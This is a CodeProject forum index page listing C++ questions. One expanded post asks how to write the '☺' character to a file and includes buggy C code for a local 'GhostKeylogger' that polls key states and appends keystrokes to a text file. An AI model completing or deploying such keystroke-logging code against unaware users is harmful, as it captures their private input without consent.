Click here to Skip to main content
14,765,470 members
Home » Discussions » Managed C++/CLI
   

Managed C++/CLI

 
Questionint **p = (int**)new int(5); Confusing !!! Pin
Amrit Agr5-Apr-15 9:32
MemberAmrit Agr5-Apr-15 9:32 
AnswerRe: int **p = (int**)new int(5); Confusing !!! Pin
Richard Andrew x645-Apr-15 11:14
professionalRichard Andrew x645-Apr-15 11:14 
AnswerRe: int **p = (int**)new int(5); Confusing !!! Pin
Zabir Al Nazi Nabil5-Apr-15 12:34
professionalZabir Al Nazi Nabil5-Apr-15 12:34 
Questionsolitaire game Pin
Member 115602925-Apr-15 5:19
MemberMember 115602925-Apr-15 5:19 
AnswerRe: solitaire game Pin
Richard MacCutchan5-Apr-15 6:39
mveRichard MacCutchan5-Apr-15 6:39 
QuestionFast object tracking code Pin
Member 1051522512-Mar-15 23:35
professionalMember 1051522512-Mar-15 23:35 
Questionhow to use hook for mouse simulation Pin
Omarkkk10-Mar-15 3:02
MemberOmarkkk10-Mar-15 3:02 
AnswerRe: how to use hook for mouse simulation Pin
Richard MacCutchan10-Mar-15 7:04
mveRichard MacCutchan10-Mar-15 7:04 
GeneralRe: how to use hook for mouse simulation Pin
Omarkkk10-Mar-15 7:08
MemberOmarkkk10-Mar-15 7:08 
GeneralRe: how to use hook for mouse simulation Pin
Richard MacCutchan10-Mar-15 7:28
mveRichard MacCutchan10-Mar-15 7:28 
GeneralRe: how to use hook for mouse simulation Pin
Omarkkk10-Mar-15 7:37
MemberOmarkkk10-Mar-15 7:37 
GeneralRe: how to use hook for mouse simulation Pin
Richard MacCutchan10-Mar-15 7:58
mveRichard MacCutchan10-Mar-15 7:58 
GeneralRe: how to use hook for mouse simulation Pin
Omarkkk10-Mar-15 8:03
MemberOmarkkk10-Mar-15 8:03 
GeneralRe: how to use hook for mouse simulation Pin
Richard MacCutchan10-Mar-15 8:10
mveRichard MacCutchan10-Mar-15 8:10 
GeneralRe: how to use hook for mouse simulation Pin
Omarkkk10-Mar-15 8:20
MemberOmarkkk10-Mar-15 8:20 
GeneralRe: how to use hook for mouse simulation Pin
Richard MacCutchan10-Mar-15 8:37
mveRichard MacCutchan10-Mar-15 8:37 
Questionprogram is crash. help me Pin
dongchul-lee25-Feb-15 21:12
Memberdongchul-lee25-Feb-15 21:12 
SuggestionRe: program is crash. help me Pin
Richard MacCutchan25-Feb-15 22:41
mveRichard MacCutchan25-Feb-15 22:41 
QuestionA brief question Pin
Member 1065708311-Feb-15 23:47
MemberMember 1065708311-Feb-15 23:47 
AnswerRe: A brief question Pin
Richard MacCutchan12-Feb-15 0:05
mveRichard MacCutchan12-Feb-15 0:05 
QuestionMFC Grid Control does not show cells content Pin
georox6-Dec-14 3:30
Membergeorox6-Dec-14 3:30 
AnswerRe: MFC Grid Control does not show cells content Pin
Richard MacCutchan6-Dec-14 4:02
mveRichard MacCutchan6-Dec-14 4:02 
GeneralRe: MFC Grid Control does not show cells content Pin
georox6-Dec-14 5:35
Membergeorox6-Dec-14 5:35 
QuestionCreate InputBox using VS2010 C++? Pin
Member 112303721-Dec-14 4:01
MemberMember 112303721-Dec-14 4:01 
QuestionHow to save "☺" in a file. C/C++ (Windows Functions) Pin
Citrusl2-Nov-14 11:51
MemberCitrusl2-Nov-14 11:51 
I want to save the ASCII characters, in this case i started with the "☺" when someone press alt+1.

I dont know how to save that type of characters in the txt. What can i do?
Ive searched like a month about this, in all kind of forums, asking my teachers or people who knows and nobody can answer me this.

A possible solution was to make all again and use HOOK functions and some others like: WH_KEYBOARD_LL. Well... i dont know how to use any of that functions, so its a big problem.

PD: Im from Argentina, sorry for my bad english.

#include <windows.h>
#include <stdio.h>
#include <ctype.h>
#define VK_4 0x34
#define VK_1 0x31

void GhostKeylogger(FILE *txt);
byte teclas[256];
char teclasespeciales[32]; 

void GhostKeylogger(FILE *txt)
{
    for(int i=0; i<255; i++){
		
		/*	if(GetAsyncKeyState(i)==-32767){  
				
		    
            *teclasespeciales = 0;
            if(ToAscii(i, MapVirtualKey(i, 0), teclas, (LPWORD)teclasespeciales, 0) == 1)
            fprintf(txt, "[%c]", *teclasespeciales);
            else if(GetKeyNameText((MapVirtualKey(i, 0) << 16), teclasespeciales, 32) > 0)
            fprintf(txt, "[%s]", teclasespeciales); 
            
               }	*/
            if(GetAsyncKeyState(VK_CONTROL)&& GetAsyncKeyState(VK_MENU)&& GetAsyncKeyState(VK_4))
           		{
				if(GetAsyncKeyState(VK_CONTROL)&& GetAsyncKeyState(VK_MENU)&& GetAsyncKeyState(VK_4))
				 {
				 fprintf(txt,"~"); break;
				}}
				
/////////////////////////////IMAGINE SEPARATOR BAR////////////////////////////////////	
		
		   	if(GetAsyncKeyState(VK_MENU) && GetAsyncKeyState(VK_1))
		   	{
					fprintf(txt,"%c\t",0x01);  //What should i do here?
							
			}
////////////////////////////IMAGINE SEPARATOR BAR/////////////////////////////////////////
		 
	}
}

int main(){
	
	FILE *txt;
	 while(TRUE){   
       if(txt != NULL){
       FILE *txt = fopen("Experimento.txt", "a+");
       Sleep(30);/*to prevent high usage*/
       GhostKeylogger(txt);
       fclose(txt);
    }
   }
}

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.